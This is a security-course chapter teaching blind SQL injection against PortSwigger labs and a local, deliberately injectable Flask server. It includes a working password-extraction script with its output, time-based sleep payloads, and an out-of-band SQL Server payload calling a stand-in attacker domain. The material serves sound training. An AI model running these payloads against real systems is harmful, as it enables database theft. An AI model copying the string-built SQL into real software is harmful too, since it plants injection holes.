Step 191. PortSwigger Academy: Advanced SQLi — Blind, time-based, OOB
Level 3 — CTF in the Field & Advanced Attack Skills | Difficulty ★★★★☆ | Estimated time: 4 hours
Prerequisites: in Step 137 (Blind SQLi and sqlmap) you built a true/false oracle and an extraction loop yourself. You know basic Burp Suite usage.
- What you need: Python 3 + Flask (for local reproduction), (optional) a PortSwigger Academy account + Burp Suite.
- ⚠️ All exercises in this chapter are for your own lab and legal platforms only. Applying them to unauthorized systems is a crime. PortSwigger Web Security Academy is a legal learning platform built for attack practice.
- Caution: this chapter’s principles — the true/false oracle and the time oracle — are measured live against a local server. PortSwigger lab screens and MySQL/PostgreSQL syntax output cannot be verified without external access, so they’re marked as output examples.
Step 137 opened the door to Blind — even when nothing shows on screen, you extract through true/false. Today is the advanced course. When even true/false wording no longer diverges, you use time (time-based), and when the response channel itself is dead, you make the server send a request outward (OOB, Out-of-band). PortSwigger Academy’s advanced SQLi labs are exactly these three situations. Today you confirm the three breakthroughs with your body locally, then organize the order of applying them to the real labs.
1. Learning Objectives
By the end of this chapter, you will be able to:
- Distinguish Blind SQLi’s three oracles (true/false, time, OOB) by situation
- Complete a script that extracts a password character by character from true/false response differences
- Explain the payload structure of time-based attacks (
IF/CASE+SLEEP) and the per-DB differences - Explain when an OOB channel is needed and the exfiltration principle using DNS
- Map the above principles onto the labs on PortSwigger’s SQLi path and set a solution order
2. Background Knowledge — Today’s Tools and Concepts
Today’s Tools at a Glance
| Category | Details |
|---|---|
| Language/environment | Python 3 + Flask (local oracle server) + requests (extractor), PortSwigger Academy + Burp Suite (external, examples) |
| Today’s payloads | ' AND '1'='1 (true/false), ' AND IF(condition, SLEEP(3), 0)-- (MySQL, example), ' || (SELECT CASE WHEN (condition) THEN pg_sleep(3) ELSE pg_sleep(0) END)-- (PostgreSQL, example) |
| Concepts needed | The three kinds of oracles, per-DB sleep functions, response-time measurement, DNS-based OOB |
| Today’s deliverables | lab191.py (two kinds of oracle servers) + probe191.py (extractor) + a Blind three-types write-up |
2-1. PortSwigger Web Security Academy
A free web security learning platform run by PortSwigger, the maker of Burp Suite. Each topic comes with theory explanations and hands-on labs you attack right in the browser. Labs spin up a disposable vulnerable server under your account, so it’s a legal environment you can attack to your heart’s content. The SQL injection path has the Blind labs we’ll cover today.
2-2. Blind’s Three Oracles — A Diagnosis Table by Situation
As learned in Step 137, Blind’s essence is finding an oracle — a signal that answers whether your condition is true or false. The advanced course is built as three stages where "the oracle hides deeper and deeper."
| Situation | Oracle | Example signal |
|---|---|---|
| Screen wording diverges by condition | True/false (Boolean) | Presence of "Welcome back" |
| Screen is always the same | Time (time-based) | Is the response 3 seconds late |
| No response channel at all | OOB | Does a query arrive at my DNS server |
The key instinct: going down the table, each is stealthier and slower. So the diagnosis order goes from the top — look for wording differences first, plant time if none, and consider OOB only if that fails too.
2-3. time-based — A Payload That Hangs Time
When the screen is the same whether true or false, make the DB stall only when the condition is true.
-- MySQL output example
' AND IF(SUBSTRING(password,1,1)='a', SLEEP(3), 0)--
-- PostgreSQL output example (most PortSwigger labs are PostgreSQL)
' || (SELECT CASE WHEN (SUBSTRING(password,1,1)='a') THEN pg_sleep(3) ELSE pg_sleep(0) END)--
The syntax differs per DB — this is these labs’ first gate. MySQL has SLEEP(), PostgreSQL has pg_sleep(), Oracle needs DBMS_LOCK.SLEEP or a dual table, SQL Server has WAITFOR DELAY. The habit of checking the DB type first from lab descriptions or error messages is half the battle.
2-4. OOB — Making the Server Go Outside for You
In some environments, no signal can ride the response at all (when query results are completely discarded). Then you use features that make the DB issue an external network request — for instance, triggering a DNS lookup to extracted-value.attacker-domain only when the condition is true. The attacker recovers the data by reading the arriving query names in the logs of their own DNS server (Burp Collaborator plays this role). Today we learn only the concept and payload structure.
3. Follow Along
3-1. A Local Oracle Server — Planting Two Kinds of Signals
We locally build the same structure as PortSwigger’s TrackingId cookie lab. lab191.py (educational vulnerable code — never deploy anywhere):
import sqlite3, time
from flask import Flask, request
app = Flask(__name__)
CONN = sqlite3.connect(":memory:", check_same_thread=False)
CONN.execute("CREATE TABLE users (username TEXT, password TEXT)")
CONN.executemany("INSERT INTO users VALUES (?, ?)", [
("admin", "S3cr3t!"),
("guest", "guest123"),
])
CONN.execute("PRAGMA case_sensitive_like = ON")
@app.route("/track")
def track():
"""'Welcome back' if true, silence if false — a Boolean oracle."""
tid = request.args.get("tid", "")
sql = f"SELECT * FROM users WHERE username = '{tid}'"
try:
rows = CONN.execute(sql).fetchall()
except Exception:
rows = []
body = "<p>Welcome back!</p>" if rows else "<p>...</p>"
return "<html><body>" + body + "</body></html>"
@app.route("/time")
def time_oracle():
"""A 2-second delay only when true — same effect as MySQL's IF(cond, SLEEP(3), 0)."""
tid = request.args.get("tid", "")
sql = f"SELECT * FROM users WHERE username = '{tid}'"
try:
rows = CONN.execute(sql).fetchall()
except Exception:
rows = []
if rows:
time.sleep(2)
return "ok"
if __name__ == "__main__":
app.run(port=5191)
Understand exactly what /time does: sqlite has no SLEEP(), so we reproduced MySQL’s time-based situation by having the server plant a delay depending on the condition’s evaluation result. From the attacker’s (client’s) seat, it’s the exact same game — "if the condition is true, the response is late."
3-2. Testing the True/False Oracle and Extracting
The front part of probe191.py:
import requests, string
S = requests.Session()
def boolean_oracle(payload):
r = S.get("http://127.0.0.1:5191/track", params={"tid": payload})
return "Welcome back" in r.text
print("true condition:", boolean_oracle("admin' AND '1'='1"))
print("false condition:", boolean_oracle("admin' AND '1'='2"))
# Character by character via LIKE prefix matching — never put % or _ in the charset
charset = string.ascii_letters + string.digits + "!#$&*()-+"
known = ""
queries = 0
while True:
found = False
for ch in charset:
queries += 1
if boolean_oracle(f"admin' AND password LIKE '{known}{ch}%"):
known += ch
found = True
break
if not found:
break
print("extraction result:", known, f"({queries} requests)")
Output (measured 2026-09-09):
true condition: True
false condition: False
extraction result: S3cr3t! (332 requests)
How to read it: the same loop as Step 137, but this time the password is a real-world form like S3cr3t! with special characters and mixed case. The special characters must be in the charset (!) for extraction to complete. What you’d run through Burp Intruder in PortSwigger’s Blind lab is exactly this loop, and this script is that automation written in Python.
3-3. The Time Oracle — Reading Truth by Measuring Delay
The back part of probe191.py:
import time
def time_oracle(payload):
t0 = time.time()
S.get("http://127.0.0.1:5191/time", params={"tid": payload})
return time.time() - t0
t_true = time_oracle("admin' AND '1'='1")
t_false = time_oracle("admin' AND '1'='2")
print(f"true condition response time: {t_true:.2f}s")
print(f"false condition response time: {t_false:.2f}s")
# Extract the first character via the time oracle
for ch in charset:
if time_oracle(f"admin' AND password LIKE '{ch}%") > 1.5:
print("first character:", ch)
break
Output (measured 2026-09-09):
true condition response time: 2.00s
false condition response time: 0.00s
first character: S
How to read it: the screen was the same ok whether true or false, but time diverged — 2.00s vs. 0.00s. Setting the decision threshold (1.5s) at "half the delay" works. Extracting all 7 characters this way costs worst-case dozens of seconds × number of characters — which is why time-based is the last resort. If Boolean works, there’s no reason to use time.
3-4. Applying It to Real Labs (Screen example)
The Blind labs on PortSwigger’s SQLi path have exactly the structure above. Move the procedure you learned locally straight over.
- TrackingId cookie lab (Boolean): send cookie values
TrackingId=xyz' AND '1'='1--vs.' AND '1'='2--and find the response difference (presence of "Welcome back") — same as stage 1 of 3-2. Then extract character by character in the formxyz' AND SUBSTRING((SELECT password FROM users WHERE username='administrator'),1,1)='a, automating with Burp Intruder’s Cluster bomb or a Python script. - time-based lab: after confirming there’s no wording difference, check the lab’s DB type, plant a sleep payload from 2-3, and see whether the response is late — same as 3-3. Check Burp’s response time in the bottom status bar or Logger.
- OOB lab: make the DB issue an external lookup, like
'+UNION+SELECT+EXTRACTVALUE(...)(MySQL) or'; EXEC master..xp_dirtree '//attacker-domain/a'--(SQL Server), and confirm the DNS query arriving at Collaborator (all output examples — syntax varies by DB type).
3-5. The Accounting of Requests and Time — Why Diagnose in Order
Let’s ground our instincts in local measured numbers. Extracting 7 characters took Boolean 332 requests. Doing the same time-based (2 seconds per character check) takes worst-case thousands of seconds. OOB can be fast since one request can carry several characters, but it requires the premise that the DB holds external-request privileges. Conclusion: use the visible oracle first, and go deeper only if absent. This order decides real-world time.
4. Missions & Exercises
Mission — Completing the Three Oracles + a Diagnosis-Order Document
- Complete
lab191.pyandprobe191.py, reproduce the Boolean extraction (S3cr3t!) and the time-oracle test (2s vs. 0s), and record request counts and elapsed time. - Add a comment to the script explaining the time oracle’s decision threshold (1.5s) with its basis.
- Experiment: when the password is changed to a value without special characters, why can the charset stay as-is (or why can it shrink)?
- If you have a PortSwigger account, solve 2 Blind labs on the SQLi path (Boolean, time-based).
- In your wiki, write
Blind3-types.md— a table organizing the three oracles’ signals, payloads, requirements, and speeds.
Exercises
Exercise 1. Explain why diagnosis goes Boolean → time-based → OOB, from a "cost" perspective.
Exercise 2. What must you always check before using a time-based payload, and give two examples of how it differs per DB.
Exercise 3. In our measurement, true was 2.00s and false was 0.00s. On a slow-network remote target, why does this decision get hard, and what mitigations exist?
Exercise 4. For an OOB attack to work, what capability must the DB server have? Name one hint this premise gives for defense.
5. Model Answers & Completion Criteria
Mission Model Answer
How to verify: ① does the Boolean extraction result exactly match the server’s value (writing-environment standard: S3cr3t!, 332 requests)? ② Does the time oracle distinguish true/false by delay (2.00s vs. 0.00s)? ③ Is the decision threshold a value with a basis, like "half the delay"? ④ Does the write-up table compare the three oracles in the order signal/condition/speed?
Exercise Answers
Answer 1. Boolean gets 1 bit instantly per request. time-based attaches a delay (several seconds) to the same 1 bit, making it tens to hundreds of times slower. OOB can be fast but needs the big premise of the DB’s external-communication privilege. Using the cheap and certain first and descending to the expensive only when it fails is cost optimization.
Answer 2. The target’s DB type. Because sleep functions differ per DB — MySQL has SLEEP(), PostgreSQL has pg_sleep(). Mixing them blindly yields only syntax errors and zero information. Check the type first via lab descriptions, error messages, version strings, etc.
Answer 3. On remote, baseline latency (network round trips, server load) wobbles by hundreds of ms, blurring the boundary between "slow false" and "fast true." Mitigations: plant a longer delay (3–5s), measure the same condition several times and judge by average, and alternate true/false to correct the baseline in real time.
Answer 4. The DB server must be able to send requests to external networks (DNS lookups or HTTP requests). Defense hint: blocking the DB server’s outbound communication (egress filtering) cuts the OOB exfiltration path at the source. Defense can be designed not only around the injection itself but also around cutting exfiltration paths.
Completion Criteria Checklist
- [ ] I can name Blind’s three oracles (true/false, time, OOB) and their signals
- [ ] I completed the Boolean extraction script and extracted a password containing special characters
- [ ] I reproduced the experiment distinguishing true/false by delay on the time oracle
- [ ] I can explain with examples that sleep functions differ per DB
- [ ] I can state OOB’s requirement (the DB’s external-request capability)
- [ ] I can explain the diagnosis order (Boolean → time → OOB) from a cost perspective
- [ ] Mission: I finished the local reproduction records + the
Blind3-types.mdwrite-up
6. Common Pitfalls & Fixes
Wall 1. Extraction never ends and requests run away
Symptom (measured in the writing environment): extraction continued even after the whole password was found, and eventually:
OSError: [WinError 10048] Only one usage of each socket address (protocol/network address/port) is normally permitted
Cause: you put LIKE’s wildcard % in the charset. In the writing environment we actually reproduced this accident by putting !@#$%^&* in the charset — % is true for any prefix, so the loop never ends, and the runaway requests exhaust Windows’ ephemeral ports.
Fix: remove % and _ from the charset. If you need special characters, include only non-wildcards like !#$&*()-+. If ports are exhausted, wait 1–2 minutes (TIME_WAIT cleanup time) and rerun.
Wall 2. The extraction result’s case is all smashed
Symptom: it’s S3cr3t! but comes out as s3cr3t!.
Cause: the DB’s LIKE doesn’t distinguish case (SQLite default; MySQL default collation likewise).
Fix: SQLite needs PRAGMA case_sensitive_like = ON; MySQL needs LIKE BINARY. This chapter’s lab code already has the PRAGMA on — remove it and run to see the phenomenon yourself.
Wall 3. It’s time-based but true and false are both fast
Cause #1: the DB type differs, so the sleep syntax is discarded as a syntax error. #2: the payload’s quoting/commenting is broken, making the whole query an error.
Fix: re-check the lab description’s DB type and match the syntax to the right DB. If errors are suspected, the standard is to first plant sleep alone with no condition ("is it unconditionally late?").
Wall 4. Intruder won’t behave as expected in a PortSwigger lab
Symptom: payload position markers (§) or grouping get tangled.
Cause: you handled quotes/spaces inside cookie values without URL encoding, or picked the wrong attack type (Sniper vs. Cluster bomb).
Fix: first confirm the true/false difference once, manually in Repeater, then send to Intruder. What doesn’t diverge manually won’t diverge automated — automation is only repetition of a verified oracle.
Wall 5. Extraction works but I can’t tell the end
Cause: without knowing the password length, you need one last round confirming "no more true," and even that one round is expensive with time-based.
Fix: ask the length first — raise a question like ' AND LENGTH(password)=7-- from 1 upward and find where it becomes true. Knowing the length fixes the loop’s termination condition.
7. Summary
Today’s Concepts
| Concept | One-line explanation |
|---|---|
| Boolean oracle | Reading true/false from screen wording differences — the fastest |
| time-based oracle | Reading by planting response delays with SLEEP-family functions — stealthy but slow |
| OOB (Out-of-band) | Recovering data via DNS/HTTP requests the DB sends outward — when the response channel is dead |
| Per-DB sleep | MySQL SLEEP() / PostgreSQL pg_sleep() / SQL Server WAITFOR DELAY |
| Diagnosis order | Visible oracle first — Boolean → time → OOB |
| Burp Collaborator | A temporary DNS/HTTP receiving server for OOB — confirms exfiltration via arrival logs |
Today’s Commands and Payloads
| Command/payload | What it does |
|---|---|
' AND '1'='1 / ' AND '1'='2 |
Boolean oracle test |
admin' AND password LIKE 'S% |
One-character question (prefix matching) |
' AND IF(condition, SLEEP(3), 0)-- |
MySQL time-based (output example) |
' || (SELECT CASE WHEN (condition) THEN pg_sleep(3) ELSE pg_sleep(0) END)-- |
PostgreSQL time-based (output example) |
' AND LENGTH(password)=7-- |
Ask the length first — secure the loop’s termination condition |
PRAGMA case_sensitive_like = ON / LIKE BINARY |
Force case sensitivity |
An Instinct More Important Than Commands
The advanced Blind course’s essence is not new techniques but signal excavation. Wording, time, external requests — three different signals, but the same job: delivering my condition’s true/false as 1 bit. Flipped to the defender’s seat, you can also see that making responses identical (erasing signals) and blocking the DB’s external communication (cutting exfiltration) are the answers to these attacks. The eye with which an attacker finds signals becomes, for a defender, the eye that erases them.
Once every box is checked, Step 191 is complete. Click the checkbox in the sidebar to save your progress.